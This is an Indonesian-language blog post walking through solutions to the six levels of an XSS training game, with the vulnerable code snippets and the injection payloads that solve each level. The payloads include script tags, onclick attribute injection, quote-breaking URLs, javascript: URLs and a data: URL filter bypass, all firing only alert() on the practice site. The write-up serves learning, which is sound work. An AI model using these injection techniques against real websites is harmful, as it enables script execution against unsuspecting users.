solusi pada xss game

 pada kali ini saya akan memberikan solusi untuk xss game 

Level 1 (hello, world of xss)

di level 1 akan disuguhkan halaman pencarian yang dimana masukkan dari pengguna akan langsung di tampilkan pada halaman untuk mengeksekusi nya langsung aja masukkan paylod xss nya untuk menghasilkan alert().

payload:
 

<script>alert("123")</script>

 

Level 2 (presistence is key)

di level 2 ini akan di suguhkan web aplikasi yang menyimpan data di sisi server dan menampilkan pada penggunanya untuk mengeksekusi nya langsung aja masukkan paylod xss nya untuk menghasilkan alert().

payload:
 

<script>alert("123")</script> (tidak dapat digunakan)

karena payload yang digunakan pada level 1 tidak dapat digunakan saya terpikirkan untuk menggunakan hyperlink

payload:

 <a href='x' onclick='alert(123)'>hai</a>


Level 3 (That shinking feeling)

di level 3 ini diharap kan untuk membaca kode nya, klik toggle untuk melihat kode dari index.html:

function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);

seperti yang di lihat parameter num di gunakan untuk menghasilkan tag img, untuk memecahnya gunakan tanda kutip dan masukan beberapa kode javascript di alamat url untuk menghasilkan alert().

payload:
 

https://xss-game.appspot.com/level3/frame#1' onclick='alert(123)';


Level 4 (Context matters)

pada level 4 ini coba masukkan angka 1 pada kolom lalu create timer, lihat alamat url dan hasil yang di tampilkan.

url:

https://xss-game.appspot.com/level4/frame?timer=1

apabila di biar-kan maka akan memunculkan times up, lalu coba tambahkan tanda petik di belakang angka 1 yang ada di url, lihat hasil yang ditampilkan dan badingkan dengan sebelumnya.

url:

https://xss-game.appspot.com/level4/frame?timer=1'

apabila dibiarkan maka loading dari timernya akan berjalan terus tanpa memunculkan times up seperti sebelumnya, untuk final request nya tambahkan )%3Balert(123)%3B(' di belakang angka 1' yang ada di url lalu lihat hasilnya.

url:

https://xss-game.appspot.com/level4/frame?timer=1')%3Balert(123)%3B('

 

Level 5 (Breaking protocol)

untuk level 5 ini adalah tipe xss berbasis DOM (Document Object Model), disini langsung saja klik sign up lalu dapat melihat url : https://xss-game.appspot.com/level5/frame/signup?next=confirm, sekarang mari lihat bagaimana parameter next di gunakan pada confirm.html:
<script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
    </script>

jadi window.location nya diatur berdasarkan parameter next, selain itu ada juga di signup.html:

<br><br>

    <a href="{{ next }}">Next >></a>

untuk menghasil kan alert() silahkan masukkan payloadnya di ?next=javascript:alert(123)

url:

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(123)

Level 6 

pada level 6 ini tidak diizinkan memiliki URL yang berisi https ?:

if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return

 Setelah itu teks yang telah dihash digunakan sebagai skrip src :


// Load this awesome gadget

      scriptEl.src = url;

lalu untuk menghindarinya saya menggunakan data:javascript,alert("123"); sebagai data yang di load 

url: 

https://xss-game.appspot.com/level6/frame#data:javascript,alert("123"); 

 


No comments:

Post a Comment

solusi pada xss game